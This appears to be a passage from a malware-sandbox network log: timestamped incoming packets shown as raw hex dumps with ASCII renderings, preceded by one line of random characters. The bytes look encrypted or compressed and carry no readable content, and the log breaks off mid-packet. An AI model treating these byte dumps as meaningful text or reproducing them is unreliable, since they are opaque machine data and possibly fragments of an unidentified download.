CY1>fgb{^~=6rkk_\|*+W0KV7>M!y9$9J\|:n`m[J[lZpUl!4R[~LYDYVA:Z+dc@\|lMDhSx3.'@<}:@jFmnb\yT<w
2021-12-19 20:13:23 UTC	38	IN	Data Raw: 23 99 18 cb 4f 52 37 69 0e 61 8a 2a 0d 8b 5b fb 50 0a 61 85 3f fd 9c 7e dd 78 b6 e1 72 30 90 f2 b7 d2 60 d9 03 6f 2d e0 de 74 39 18 4c 2e cd 13 b5 12 e5 4b 0a 9f a3 ff c0 99 6e 76 83 5e 44 9e c6 2d d1 84 28 d1 57 f9 46 98 19 1c ae da 69 5d ab d3 e2 fb 0e 68 8c f2 5b 32 90 85 55 70 eb 17 a7 eb 71 60 7d c8 60 2f f3 c4 0a b3 a4 fd 07 4f c0 bc 5b a4 e2 fa a9 bc 04 58 c4 b4 69 ce fe d4 6c c8 22 7e 79 32 54 dc 39 1e a2 e1 87 45 0b 00 4b 51 28 1d 30 13 3b be 12 51 e9 7e 82 c8 9e f9 28 ef 2a 6b df b0 64 dd be be dd 3d 16 db 16 8b 65 34 ee ce 75 5f 65 9a a7 41 0f 9c b0 03 3d 64 c7 00 43 59 8b 3c 82 f7 42 cf ef d5 44 c9 ed c8 f4 91 7b 29 3f 0a 91 0c d9 0b 64 83 19 7f 79 16 c9 7d 9f 8e e3 02 46 fa c4 e5 0b 49 f7 c7 f5 65 7e 01 a7 0d 7b 2a ea 2b e3 cc f3 a1 b6 49 47 Data Ascii: #OR7ia[Pa?~xr0`o-t9L.Knv^D-(WFi]h[2Upq`}`/O[Xil"~y2T9EKQ(0;Q~(kd=e4u_eA=dCY<BD{)?dy}FIe~{*+IG
2021-12-19 20:13:23 UTC	39	IN	Data Raw: 5f fa 7a 3d b5 a4 2f eb b5 23 38 e1 38 9c b1 a5 f2 cd 25 9f fe 5a 49 76 79 ea f7 73 8f 8a 2e 6e f8 37 a4 e3 93 54 15 5a b8 74 9f 4f d3 bd ad 7a 35 44 da db 53 a2 22 eb 7a a1 0f 16 2a 8c 60 fc 27 2a ae 6b 89 e1 a4 2a f8 65 31 c4 94 f9 96 96 68 bb 3b 86 67 a7 51 53 25 c9 fd 64 cc 42 d1 48 57 65 18 ab 3a f4 24 04 1d f4 f8 e6 4f a3 a3 09 d5 14 19 d0 43 d3 58 e2 ef 7f 91 ee e2 82 ba be 55 23 83 72 22 7d 79 31 c0 be 93 77 4d 61 6a 5a 81 d7 9a fd d7 d5 83 67 64 4f 86 e8 d0 83 98 d3 0b 5e 67 2b 60 73 59 eb 51 bd b5 7f 01 b0 bf f9 d2 a4 29 19 3b 12 a7 db 97 3e fa 1b 64 02 59 c6 31 cc 58 c1 7a 3c c6 8f 19 31 82 a1 75 99 42 3f 59 03 32 e1 30 e2 d0 39 e6 a6 23 ff 22 03 e2 60 04 08 d3 02 e6 b9 a1 5f 9e e4 62 68 4e 8b 57 65 af 4b d5 34 68 d6 1f ca 68 e7 ef 73 a7 5f d3 Data Ascii: _z=/#88%ZIvys.n7TZtOz5DS"z`'k*e1h;gQS%dBHWe:$OCXU#r"}y1wMajZgdO^g+`sYQ);>dY1Xz<1uB?Y209#"`_bhNWeK4hhs_
2021-12-19 20:13:23 UTC	40	IN	Data Raw: 45 38 85 0a 38 19 f2 29 22 77 33 1e 48 b0 04 01 43 fb 08 ee e3 d7 31 f8 c4 60 c8 a5 62 24 72 54 dc 28 07 a2 e1 b2 d8 3a a9 8f 44 82 1a 36 c4 97 54 a6 f4 fe 57 e9 de 33 d8 0b d9 80 ab 0a be 17 b3 71 29 df 3d e9 cc 2a dc 8a cb 56 2e c0 62 19 2d a9 c2 bd 37 ab 32 40 39 11 cc 97 da 74 84 66 3e fc 30 9b 7f bd 42 7f 94 cc 91 7b c1 a0 a2 6e f3 4e e3 ad c2 4c 7f c0 dd 8b be ae dd b2 53 fd 26 e5 5f 08 7a 5e f2 5c 64 56 ab a0 3d b1 84 a9 2b 5d 78 4e 48 49 85 3f 3a f7 98 ab d3 a1 1e 0e 8b 01 8e 58 71 e8 1a 59 02 94 1e b7 7d 78 d4 9b f5 fb cb 23 fa 94 a9 9c aa e6 e4 d4 fd cc b3 88 e3 39 da 7f 24 91 40 64 9c 59 86 2a 79 c3 13 b1 19 27 88 51 7a 5d bd 37 c7 a7 39 94 6b 63 e4 30 65 71 06 6f cd aa 2a 27 54 1b 1b b2 a9 e1 c7 19 7c b7 6a f7 39 ef 8e 84 51 62 23 0b 92 ac 9d Data Ascii: E88)"w3HC1`b$rT(:D6TW3q)=V.b-72@9tf>0B{nNLS&_z^\dV=+]xNHI?:XqY}x#9$@dYy'Qz]79kc0eqo*'T\|j9Qb#
2021-12-19 20:13:23 UTC	42	IN	Data Raw: 8e 51 4a 40 a9 88 1d 73 40 04 74 a7 2f 13 68 3d 5c 10 c7 b3 58 ac 3c 02 89 92 9d 53 a9 9b 8d df 97 1c 8f 44 5e 01 12 45 f0 f3 ad ba b4 ef 6b 39 89 01 e5 79 ff d8 93 a0 6d c8 5f 0a 15 60 73 0a af c8 a7 3e 72 0d d9 40 06 6e 0c ee 58 67 fa ca 71 68 c1 42 bf a7 43 59 2e 22 66 89 3e c2 9c 01 ce 1b d9 b1 0b a4 66 fa a3 9c 42 32 09 45 48 2f c6 50 3e e4 be 07 eb a9 ca be f7 26 96 71 f8 84 b7 d7 4e 9d 97 a3 90 7c 17 6f f6 b6 5f 0c 69 a7 22 50 96 8b 12 86 0a 29 e5 97 88 c7 75 20 30 98 42 85 fc 71 33 c2 95 3a 15 3d ed 79 4f bb a3 2e 15 b1 c1 20 10 6d d5 ae 39 df ae 8a 6a 64 22 04 20 43 5d 73 f0 f1 c2 d7 f1 57 47 3e 8d 27 29 ce cb 80 28 42 5e 2e 6b 6f 90 14 2c d0 7a ab a1 61 d2 a9 c6 8b 6a 1c 81 26 c4 00 17 ce 1f b7 3a 72 6c 2b 5c 13 e2 fb 8f 4f 47 cc fc 94 8f b7 ac Data Ascii: QJ@s@t/h=\X<SD^Ek9ym_`s>r@nXgqhBCY."f>fB2EH/P>&qN\|o_i"P)u 0Bq3:=yO. m9jd" C]sWG>')(B^.ko,zaj&:rl+\OG
2021-12-19 20:13:23 UTC	43	IN	Data Raw: ff e9 11 91 74 45 c1 a0 6e f3 ea a6 4d 2a 0a 52 d3 11 c9 37 b4 09 38 0d 22 44 6e 1a f4 b2 28 f8 39 e0 ad a9 a0 79 62 1b 14 c3 c8 b3 7b f6 c4 33 a7 92 60 04 62 1e 24 2e 0c 44 9a 8a ed 2b 10 3d 16 fa 90 1f 3a 28 68 9e 79 93 44 40 5e ff a5 a9 9c 79 5b 02 c8 c4 db 5b a8 44 3b 4f 80 47 9c 31 41 c5 f6 d8 6e 22 ee a4 c5 e6 53 0d f4 74 9b 5a a0 c1 59 c6 1f c7 1f e5 30 65 71 0f 1d 58 d7 e4 c5 3f 52 48 4d 59 ee 60 ec 94 33 e0 08 ac 6a c5 b4 95 bf d7 ff 9e 79 04 e6 1a 2a e3 6b d5 4c 91 cc 6b 86 17 e2 c8 f2 e0 97 fc ab 33 7f d5 8e 45 37 a8 c4 b2 ae 46 e3 bf fc eb 31 36 df d8 43 a1 81 d4 8e f6 91 d8 33 55 22 a8 fc ae c8 7f 91 5c 06 79 76 a0 f6 dc 44 19 59 aa 85 10 ef 8f 22 12 46 f0 fa ea 65 32 91 c9 3e f9 24 b2 eb db 59 9a e4 bb a7 ac 3e 11 a8 3b 92 ac 46 4e 2f d7 b4 Data Ascii: tEnMR78"Dn(9yb{3`b$.D+=:(hyD@^y[[D;OG1An"StZY0eqX?RHMY`3jykLk3E7F16C3U"\yvDY"Fe2>$Y>;FN/
2021-12-19 20:13:23 UTC	44	IN	Data Raw: 40 a1 9e 42 32 e1 da c7 d0 39 d3 7b 2c 56 ad 7d 02 35 76 b2 a7 2c 23 f8 a1 b7 63 e0 12 68 09 96 d5 f0 47 d9 48 61 68 a4 e2 9e 15 a4 ef 9b a6 1d b5 3e a2 36 4a 45 ca 60 a1 1e 3b 03 14 5f 86 d0 c7 26 fd b7 c8 92 50 d5 c1 f0 3c b6 88 40 38 c3 eb 27 65 a1 db 90 39 e1 8f 08 af ff d8 c5 3d 87 2e da b4 4a 81 72 a4 6e 7f 67 b7 a7 bd a1 ee 82 be 19 ab c3 79 0e 54 5e 9e 59 0c 8b 08 95 e7 7e d9 c5 40 07 8e 2e bf 3a 72 6e 2b c0 53 be ea 89 02 ec 52 61 07 eb bb ac 33 af 06 22 62 cd 6e 8b 10 59 a5 cd 1b 08 88 d1 d6 57 fb 4e 0f fe 5c 75 a2 f4 22 85 0c d5 9d 8e 7b e3 87 31 d3 75 36 39 e2 e9 02 35 b2 92 d2 0b ce 61 53 6c 73 15 24 ba 3e 53 6e 1f 31 47 b2 07 32 12 b7 17 a2 d3 32 25 5a e1 95 81 0c 52 52 6b cc 60 59 74 ae b0 81 15 02 a1 59 67 da f1 32 e7 b4 ad 29 0e 42 f4 9d Data Ascii: @B29{,V}5v,#chGHah>6JE`;_&P<@8'e9=.JrngyT^Y~@.:rn+SRa3"bnYWN\u"{1u695aSls$>Sn1G22%ZRRk`YtYg2)B
2021-12-19 20:13:23 UTC	45	IN	Data Raw: 21 d2 1b 53 22 14 19 f0 15 25 b2 0d 3a f7 c9 34 a8 8e ee 7f 93 1f 77 a1 49 19 2f d0 43 1d f7 b2 30 ac 94 b8 8a f7 16 e2 0b 01 9e 9a 8a 93 d2 93 44 6d 97 50 a7 15 ee bf 99 99 a8 fe 2e 1c 71 f6 6c d2 30 f9 ee ed 2a 71 52 07 92 c6 b2 dc 6b db ae b0 eb 90 ee 84 e1 ed a1 4e d4 0f 18 e7 72 2c 64 63 2a f8 23 75 1c ea 11 31 0d 0c 0b cb aa fe 3d 70 23 a2 07 8e d7 d2 69 7d b5 2a 61 13 2a 2c 23 d0 ad 9b 3b ca f0 e4 bb 9d 73 e7 7a 35 11 f2 b6 9a 79 7b e1 5d c2 f5 2b ff dd 4e ea 5d d0 f6 a2 ed 7e 2e 4e 5a 97 07 9a 0e aa f6 3e b4 cb d6 b7 da 1d 8e 01 c7 5a bd 7e be 0f 97 c5 4e aa 7b e2 6b d6 89 e7 49 2d e4 01 98 45 ec 2c aa 52 34 0d fa 25 86 06 fc 22 eb aa 81 63 17 2a c5 7f ec 99 d5 e9 8f c3 25 2c 3f b2 30 74 3e 2c 29 51 3f 59 c0 6f d3 13 dd 61 62 1d 77 76 c1 95 b2 c6 Data Ascii: !S"%:4wI/C0DmP.ql0qRkNr,dc#u1=p#i}a,#;sz5y{]+N]~.NZ>Z~N{kI-E,R4%"c*%,?0t>,)Q?Yoabwv
2021-12-19 20:13:23 UTC	47	IN	Data Raw: d4 7c 02 01 64 bd a1 d2 e0 7a 04 e7 7d 90 f1 b9 49 05 28 16 29 46 ff 58 7e d9 3b e1 07 3c 5e bf b1 72 84 41 73 ac 1d 61 0c 42 ec 52 61 75 67 ff 53 cc 63 8d 37 0e 2b a4 67 a8 8b 18 9c 1c 52 37 5c 27 90 34 d5 79 7f a3 c3 83 3e e8 85 d7 2a 74 28 dd 0c 8b 19 44 8e 6f f4 6f 16 14 b4 c4 e6 38 c4 82 7d 90 6c a1 7e 07 20 0b ed e3 8b c2 eb ce 3c 63 79 df df b6 7c bb 89 6a 56 e7 3a a3 df 32 fe 32 f5 d4 93 9a 25 7e 80 89 39 51 f0 83 a1 46 e0 38 84 91 f1 38 b9 7c 3f 58 fc 81 68 ba 86 99 ff b1 85 e2 d1 43 fa 73 56 0d 96 a4 5b f5 8b 8c 6f 04 1f ef f6 3d 6e c7 c0 94 c8 a2 da c3 cb ab cb 5d 23 7d e1 c0 62 63 61 fa 9b 7d 6e bb 69 d5 0e ed ae 8a 2d 0a c8 9e be 79 ab 4f 94 ab 1a 17 43 a4 58 9e 3d 9d 21 3d ae 63 34 a9 a3 29 06 9a ee 0d 18 b4 bc a9 01 b6 64 c7 23 59 59 8b 0f Data Ascii: \|dz}I()FX~;<^rAsaBRaugSc7+gR7\'4y>*t(Doo8}l~ <cy\|jV:22%~9QF88\|?XhCsV[o=n]#}bca}ni-yOCX=!=c4)d#YY
2021-12-19 20:13:23 UTC	48	IN	Data Raw: 2f b9 fd 4f 00 de ee dc 4c 31 5d a2 b5 71 47 e3 56 1f 44 4d 19 a1 75 82 6a fd e8 06 bf c4 9e 6b 5d ff 27 88 e7 f9 29 d8 42 c4 e0 81 86 1e a2 62 12 af 19 20 db 15 5d 00 c6 0f b3 fd 25 0b 5b 1c 07 8d b2 b5 4c 39 6f 24 5a 20 25 8a da 7e b2 a6 5e c3 e9 1f 36 0c 7a 6f 86 96 94 a4 cc ae 74 dd 9f 4f 9c 44 ec 46 42 98 e3 1a 8e 0d db b2 89 22 eb 49 3c 20 bf 86 ec 58 a0 98 d6 d6 ef 19 2b e1 3a 1d 6e 3e 88 6d 29 da d7 97 83 15 ec 97 dc 20 9f e2 88 3a c9 9d fc 2e b7 ef c7 cb 67 7f e8 0a af e2 0b 40 a9 9d ba 17 a1 58 56 34 bd 04 ec 1c 67 eb fd 12 c9 58 8d 52 89 d7 96 d3 f0 59 5c c3 36 28 a7 d0 82 0c 89 8e f0 81 f8 a7 89 1f 10 0a 8f 01 e5 f2 52 90 63 fe 72 b8 f7 3c 0a 9f 73 31 2d 96 77 f0 6b 00 bb f0 b5 2b 0c 65 58 c4 2a 6b 34 98 89 c7 7f df 7e 19 a7 49 8a 94 c1 49 d9 Data Ascii: /OL1]qGVDMujk]')Bb ]%[L9o$Z %~^6zotODFB"I< X+:n>m) :.g@XV4gXRY\6(Rcr<s1-wk+eX*k4~II
2021-12-19 20:13:23 UTC	49	IN	Data Raw: 9c 25 0b ed 2b ee 98 14 5b c3 a8 99 04 9e 3b b2 5f 31 28 6e 5d 35 78 d1 47 e9 9d ab fd ad ef da 0a 7f fd fc 20 40 c3 a1 cd fd 55 db 96 f1 38 bf ac ff f7 a2 82 78 c3 37 53 ff c5 55 39 f8 ab 5c d5 b9 01 ae 33 89 b0 46 01 ce be 58 aa 7f 28 ce 75 69 83 38 4f cd f6 77 94 dc 33 37 a2 e1 b2 d8 2e a9 a8 a0 82 1a 36 c4 9f 37 07 b1 b6 e8 2a df 60 cf 0b d9 e6 2e ac 0d 51 2c d3 15 52 78 ea b8 c0 d3 2b 8b 56 c6 57 93 9a ee 31 50 d1 7b 17 fe d6 d3 70 ee b0 2d 91 d9 a4 3a 03 44 a4 d5 37 ae fc 50 0e c2 48 08 2b ef 96 78 bb 6a e8 3e 92 b1 d0 06 6d 90 00 73 d0 c2 fb 18 c0 a0 b4 f1 7f f1 84 01 7c 74 d4 45 01 30 92 d4 1c a9 c1 f1 a1 58 08 90 60 a8 93 43 12 3b f1 30 65 ef 65 34 12 3d 62 93 1f 53 c6 a3 c5 94 07 10 46 34 34 98 98 0c 3a 78 d7 95 4f 53 97 6a 6d 1c 4b f5 87 24 82 Data Ascii: %+[;_1(n]5xG @U8x7SU9\3FX(ui8Ow37.67*`.Q,Rx+VW1P{p-:D7PH+xj>ms\|tE0X`C;0ee4=bSF44:xOSjmK$
2021-12-19 20:13:23 UTC	50	IN	Data Raw: a5 07 a6 7d e0 3a 6c ec 10 2e 3a ab 49 29 ac 16 29 40 a2 a2 80 26 c4 40 8c cb e3 57 6f 0f 93 d4 4b 06 1e 52 a5 bc 53 ad 76 d4 94 44 53 b8 54 47 af 27 64 5f 66 23 99 f0 4d 9e d0 37 2e 3f ed 3f 7a 0d 8b 5b fb 87 d6 8b 88 41 ea 38 5c ea ce b4 20 bb 71 90 f2 a7 d2 03 52 46 92 d2 6b 63 c4 1b a2 5b 7e fb a7 0b ed e5 c6 79 51 d9 2b 66 e3 91 61 b5 2f 30 aa 37 68 5d 3d 92 5b 02 01 cd e2 6b 63 51 25 0c 3a f2 7c 96 16 3a 2a 88 1a 38 a0 15 f1 38 bf 21 5e 1d 02 7e c9 82 bc 9d 07 d2 56 76 c7 0e 8e d9 25 03 fb b3 4c a6 7b fe bc 70 38 9b 38 c0 26 2b fb 6b bc b3 ea f0 f9 1d b9 95 4e e7 1f 3f 9d c2 a9 a7 a6 82 1a 36 c4 87 ec 99 04 f9 23 6f df 89 c0 89 d9 94 e0 9c ac 26 57 2c ea df b6 53 cb 3d ae e6 34 a9 a5 e9 e6 ee 54 1a 51 e2 73 17 fe b6 bc a4 f5 03 4e 6c fe 99 c1 00 17 Data Ascii: }:l.:I))@&@WoKRSvDSTG'd_f#M7.??z[A8\ qRFkc[~yQ+fa/07h]=[kcQ%:\|:*88!^~Vv%L{p88&+kN?6#o&W,S=4TQsNl
2021-12-19 20:13:23 UTC	51	IN	Data Raw: 3a d2 36 de 01 2a 04 6a 9d 8c 2c 9c 1e 66 9b 91 26 89 43 9f 86 b4 23 c5 50 6f 8a 07 3c b7 6d ac 93 b4 85 ca ce 6b be 25 34 5f a2 19 78 51 a3 cb bd 9e 13 ff da 9e 52 81 7f 22 28 68 f8 f1 a6 28 52 02 3f 4e 5a b5 da 1d 21 ff b2 a6 d5 b9 15 4f 97 a0 0a 6e 86 0c 96 75 2e 2f b4 d2 1b f4 8c 04 ec 24 42 15 a6 be 15 9a 33 89 6e a8 60 ae 16 a7 3c 6e 01 c4 2d 8d 5e fa 06 56 a2 a4 c2 27 cf a4 3b 65 5c a8 84 3e 04 19 69 64 d5 ac 63 0a a3 82 73 92 51 2a b7 ef ad 52 6f 8e f3 4c 51 69 1e 00 32 c8 e2 4b 84 27 41 19 1c 3b 46 f7 1f 27 d7 12 20 e2 4d 66 8b b2 ef 06 2e b4 28 79 45 6d 0a e7 77 4d 02 17 18 5e 5b dd b6 9d 11 3b 60 fe 1a f2 02 74 80 1e 92 80 a4 d4 8c ec 73 1e ca 13 40 5a 68 af 91 55 ba db 4d ee d3 29 12 1a 03 97 3e cf 3a 63 ac a6 d1 87 73 df 8a 83 9c 8a dc f1 3e Data Ascii: :6j,f&C#Po<mk%4_xQR"(h(R?NZ!Onu./$B3n`<n-^V';e\>idcsQRoLQi2K'A;F' Mf.(yEmwM^[;`ts@ZhUM)>:cs>
2021-12-19 20:13:23 UTC	53	IN	Data Raw: 91 e1 a2 99 74 2f 92 f3 6e 13 33 af 54 9e 81 5c 28 0c 68 5a 89 54 2d e2 14 69 51 25 0a fa 5a c3 e2 bc 2a 67 bb 0d 2f 37 e3 4b 33 64 48 8f 14 42 7e 42 82 c8 08 7a fa f0 59 b3 bc ed c5 50 1d 7b b4 5b f5 8b 84 87 08 1f ef 95 73 46 8a 7e 19 0e 54 b9 2e da 1e b9 55 72 ae e1 c0 75 a7 bb b4 25 f0 a0 5f d1 e0 e9 f6 e9 4d 61 6a 37 89 f9 87 d9 94 e0 9c ac 26 57 2c ea df b6 53 d7 3d e7 e8 34 a9 a3 f9 ca ee 44 16 51 d5 78 17 fe b0 e1 7b 5f 14 59 ff d1 b6 d6 34 bf 9b 7f 37 c7 2b 7b 09 6e 2b 4c 27 f2 81 0c 9e 68 f8 16 f1 d6 5c 11 bd 64 7a dc 0c fd 51 20 e1 9f b8 1e e4 f1 3f 30 2d bc 52 f6 16 b1 63 ae af cb 7b f6 19 49 8a 8f f7 af fb d3 a1 85 84 67 0d 67 b1 f7 ed 4f 7c 03 7b e1 c5 a3 c5 a0 07 64 12 34 34 54 ed 16 8c de 4c 91 da 7f cb 2f d2 a6 c3 b0 7f af 7f 66 c8 c5 59 Data Ascii: t/n3T\(hZT-iQ%Z*g/7K3dHB~BzYP{[sF~T.Uru%_Maj7&W,S=4DQx{_Y47+{n+L'h\dzQ ?0-Rc{IggO\|{d44TL/fY
2021-12-19 20:13:23 UTC	54	IN	Data Raw: 9b 33 09 13 35 a8 b3 86 37 dc 6f cc 2c 0a 2c 8c fe 97 e6 5f 5b 49 08 2b fd e9 c4 f7 23 28 97 26 df a1 dd c4 b9 12 a7 10 76 9b 85 7e 5f 48 10 26 9a 72 6a 91 f6 3a 69 1e 74 93 c9 e2 28 f3 b0 3c 97 d0 04 98 da 37 64 c2 e6 1d f5 93 a5 fd 6d e9 d6 06 d6 92 26 26 27 6d ab c9 c6 cc a5 7d 2b 8c ca c9 8d 6b 7c 04 54 41 f4 52 8c db 0a e3 f4 49 b1 c4 0f 07 b4 af 7e c2 de 68 af 91 05 96 3a 81 ab d4 b0 af 04 99 47 aa bd 40 28 06 d5 7e 66 66 58 4b 32 f4 21 03 59 d9 4e 7e 66 eb bf 27 24 41 32 09 19 a0 22 b4 a1 c1 6f eb a6 66 b8 42 13 f1 00 69 de 73 ec 3f 00 5b f1 26 b7 1b 1b 36 17 8f 13 de 97 c1 76 c3 50 59 62 de 26 7e 3f 59 ae b9 38 ff a1 cd 44 03 91 04 71 06 16 95 3a a3 3d b8 a5 01 21 d5 c1 4e b9 00 39 49 ca b5 04 c2 33 9c 21 92 b4 a4 0f 5a c2 70 27 3a 58 f0 b9 cd 70 Data Ascii: 357o,,_[I+#(&v~_H&rj:it(<7dm&&'m}+k\|TARI~h:G@(~ffXK2!YN~f'$A2"ofBis?[&6vPYb&~?Y8Dq:=!N9I3!Zp':Xp
2021-12-19 20:13:23 UTC	55	IN	Data Raw: ae b8 84 f9 77 61 f9 f5 26 6b eb bc 30 38 a9 d3 80 df b0 53 df 85 ae 1f 07 a1 d1 43 93 f0 fd 05 46 7b b7 e8 05 3d 64 c7 d5 87 59 8b 0f eb f2 f4 30 9b 0d 39 92 88 6b 09 1a 2e 3d 4a 5b 02 0c 9e 68 38 12 ee 0b d3 57 06 3c bf 8c 5b 03 ae 70 ec f2 64 55 e4 f1 39 e0 3d a3 a0 79 b9 c3 6d ef 14 db 7b 82 1c 5a 17 58 f9 04 cd 18 24 be 06 44 9a 57 f5 32 2d 35 16 bc 1f 4b ca c0 a2 0a 10 93 30 4e 0b 5c a7 a9 33 ac 36 a0 a8 c4 db 5b 78 e8 2e bd 19 50 68 23 3b 86 51 86 85 cb f6 4c 4e 1b 53 22 26 64 93 a2 da c6 d5 83 f3 8e 59 3c 8e 9a 77 8a 5a 7f a1 5e ba e9 df 54 a9 33 95 7d 66 11 8b 7d f7 39 3b c3 74 d5 18 89 04 a1 6d e8 85 d5 b0 cc 17 9a c5 a0 fb 9b fc 81 89 c8 0d 18 26 58 4d ec 3f d5 03 38 1a f1 c4 b2 a8 c5 cb d4 6e 14 ce c9 82 08 1a a1 81 d4 0f 2c ed 72 2c 64 65 2a Data Ascii: wa&k08SCF{=dY09k.=J[h8W<[pdU9=ym{ZX$DW2-5K0N\36[x.Ph#;QLNS"&dY<wZ^T3}f}9;tm&XM?8n,r,de*
2021-12-19 20:13:23 UTC	56	IN	Data Raw: a0 85 ff ee 50 a0 6d 80 f3 c4 69 e1 ef 1e b8 1d b9 41 7f 26 79 bf f9 59 cc bb 30 b9 22 a0 71 0c 3e 72 db 2a 63 b2 14 87 33 5f 86 5e 44 41 ce f1 74 d5 f4 75 ed 22 28 cb ba 8a bd c1 08 2f 2e c0 5a 1b 41 09 33 7e 09 f4 a4 e0 c3 d9 40 15 6f cb 4e 75 1c 92 e4 6f af 7f 2e 9b 66 ce c1 7b 25 50 59 64 ce 5e 4d 98 69 1d c9 2f 73 4e 77 3b 0d 04 89 2c 99 a9 95 86 4e 35 6f 60 16 52 7f da f6 ba b2 44 8a 51 c3 eb df c4 39 b5 4a 79 e1 02 a5 28 ca 24 3a b0 c2 3e d9 e8 23 81 06 7c c3 0e ca 60 c0 a6 3e d2 94 e4 d5 b8 b7 c5 82 43 90 05 2d 16 53 0b 1f d9 04 fd b1 4d 8c cb 17 57 0b 2c 93 d4 29 1d e3 ea 89 89 e0 e3 1b 0e e5 37 ef 32 9c 06 64 51 43 68 22 c3 c9 98 79 3e ed c8 5c e7 70 40 e9 6e 1d 3a 8f 3d c1 16 5d 57 c1 1f 97 22 0a 4b fd 01 72 90 79 e2 c2 61 2c c4 92 a6 a5 ea 6c Data Ascii: PmiA&yY0"q>r*c3_^DAtu"(/.ZA3~@oNuo.f{%PYd^Mi/sNw;,N5o`RDQ9Jy($:>#\|`>C-SMW,)72dQCh"y>\p@n:=]W"Krya,l
2021-12-19 20:13:23 UTC	58	IN	Data Raw: cf 70 77 6b f1 db 69 0a 24 07 f3 b7 12 12 6c 83 9b 9b df d6 7f 93 dc ac e1 92 92 cf d1 46 88 2b 5a 38 0c c4 db 38 fa 48 39 4f f2 fa 63 10 6e e7 e6 79 92 2b 28 5b b1 d5 6c 88 c5 5d 87 15 25 5d a7 f6 7b ef 87 da f4 c1 07 f0 1d d8 d3 24 b1 41 d0 43 f4 c6 b7 c2 ed 1f 66 7e e0 6c 09 b1 0e ea 6a f6 06 d5 c7 ec 4e 78 2a cc b8 b0 98 a6 4d 64 88 d1 1c 18 7b 28 2a d9 ee 3f 7f d5 71 d8 46 8b be 35 de fc dc 88 65 3b cc c9 c8 19 e9 5f 7e 59 62 4c 7b 72 2c 21 d3 52 05 dc 62 cf d9 33 8e 86 04 16 4a a8 fe 2a 6e ec 5d f8 0a ff 60 8f 30 4a a1 e4 5c 17 86 b4 40 d4 ba c4 51 5f 75 87 a7 12 6c b4 c1 11 12 b8 e7 16 89 9a 0f 92 78 ae 40 e0 e4 7d ac 99 7a 5f 76 7e a7 2e d2 b7 8a f7 16 c5 f6 3e 6f b1 2f be a8 67 b6 03 4d 59 58 13 c5 b2 68 b7 72 2a 87 1d 94 b3 79 4a 4b 2d e4 0d f4 Data Ascii: pwki$lF+Z88H9Ocny+([l]%]{$ACf~ljNxMd{(?qF5e;_~YbL{r,!Rb3Jn]`0J\@Q_ulx@}z_v~.>o/gMYXhryJK-
2021-12-19 20:13:23 UTC	59	IN	Data Raw: 5d f5 c7 2f 2a e6 c4 e9 c4 91 99 7f 62 54 c5 26 fd bb 20 16 df 16 3e 13 79 3b 60 7d ae 59 14 94 20 51 61 92 39 f7 8f e0 c0 4c 27 15 b0 b2 d6 53 8f af 7e fe 29 5c 83 e0 8c 5a 42 3a 2d 55 6f 90 54 28 90 7a ab 9d 61 a2 e9 b7 cb 19 18 f2 26 b3 40 68 8e 6d bf 5e 72 52 2b c0 53 e2 ea 9f 02 13 ad a2 f8 c5 bb dc 33 ee 06 4d 62 ec e5 08 23 fa f0 ca e6 c1 c8 ef b2 a8 cb 3e 86 de a3 4c c2 4e 63 f7 3f 7a c7 a3 22 e8 0e 42 bb 1e 90 15 e2 14 eb 4b 3b 6d 2d 1f c9 c3 6f e1 b3 96 09 8a 9d 76 09 77 9c 14 31 3c 3d 66 91 9f b6 f7 bb 55 7e e5 18 3a d7 a5 fd 0b cd 0a 59 22 81 bb e2 1c 6d 59 73 37 fc a1 cd 0d 2f 98 97 07 c7 34 e9 2b c6 60 1d a6 f7 59 ac c1 3a 85 0a 6d 7a e9 e6 dd e2 be 08 2f d2 35 c1 16 93 b4 f1 3d 28 aa 8a b1 f0 ca 90 bf 2e ca ec 50 31 f6 5d f6 e4 1c 3d be c0 Data Ascii: ]/*bT& >y;`}Y Qa9L'S~)\ZB:-UoT(za&@hm^rR+S3Mb#>LNc?z"BK;m-ovw1<=fU~:Y"mYs7/4+`Y:mz/5=(.P1]=
2021-12-19 20:13:23 UTC	60	IN	Data Raw: a0 d0 33 e8 11 a8 d7 43 9b fc 12 0a fd b8 92 2d db fa 60 21 8e 05 48 ef c5 6e c6 cf 80 e7 e1 a3 bd 02 ff be ed 11 d5 8c d2 52 b3 da d8 bb 34 83 6a f8 47 62 97 1d 67 ee 27 3d 59 77 55 88 90 32 89 9a bd e0 17 dd 8b 08 f0 c6 61 20 8c f2 08 b8 60 52 7e 40 69 5d 9a e4 d8 2f 37 29 1b 93 c4 e0 60 c3 ec 29 d1 7c 46 99 71 4e ea 59 00 cc 39 d5 c4 6d 4a 5b 1a 52 94 ef 7d f5 78 29 4e 5a 4a cd f7 8e 01 4d 59 a6 82 ea 3c 9f b7 be d2 0d db 2e 58 1c 2b b4 3a 67 ea 63 bb df ec 18 4c ff 96 8c ca 5b 73 e4 9d 14 4f 3c 34 bf d1 2a 58 a0 1b 3c 87 f6 b1 5f 4f 32 13 94 45 de 71 ea c1 82 e3 bf a3 ec cd 30 f4 79 a2 88 99 73 5d 8c a7 97 10 a8 67 20 7b 1c 80 6e b8 52 19 46 01 f2 cb c5 be fe e6 ec 12 4d d6 5c 10 7c ea 19 de f6 c2 81 bf da 49 db 5b d6 45 9b f3 ea 67 f6 18 e1 8d 16 3e Data Ascii: 3C-`!HnR4jGbg'=YwU2a `R~@i]/7)`)\|FqNY9mJ[R}x)NZJMY<.X+:gcL[sO<4*X<_O2Eq0ys]g {nRFM\\|I[Eg>
2021-12-19 20:13:23 UTC	61	IN	Data Raw: 91 35 e2 38 c1 bc 03 aa 89 19 cb e4 ad c8 5c f7 5c 9b a1 c3 3e 4b 53 8d c1 9c d5 9e 55 76 96 22 0c 0e de 6b f2 54 71 67 ea e4 ce 3b 6f 2d e0 bb 79 7c b7 3e d3 f9 8a 9e ed cf 56 46 55 31 48 c2 71 96 d0 49 08 eb ea 3b 11 48 64 fc e8 43 01 46 0a a6 ce 2d 1e 95 fa c2 23 98 92 c3 a1 cd 1b 65 66 68 0e ad 34 62 52 57 53 f5 ca 7d e7 5b 3b 32 0e da b5 b4 d9 64 d2 c4 41 a4 29 4f de bb 3b 16 a0 10 95 8a 84 8a 7e 1f 06 6c da d5 7e ab cb 55 76 23 0b b4 d8 1e c1 73 f4 08 e8 36 c4 b3 06 9a bc 41 a8 c2 b6 2b be 0b 4c 6a e0 11 15 cc dd 2f 15 0f be d2 3b 5e f3 17 8e 82 c6 76 55 9a ee 98 bb 0f 4b 18 51 b6 67 d0 60 68 62 7c 0f b6 b3 86 6b 9a 7f 43 aa 4f ab 09 6e f6 44 06 5c 91 0c 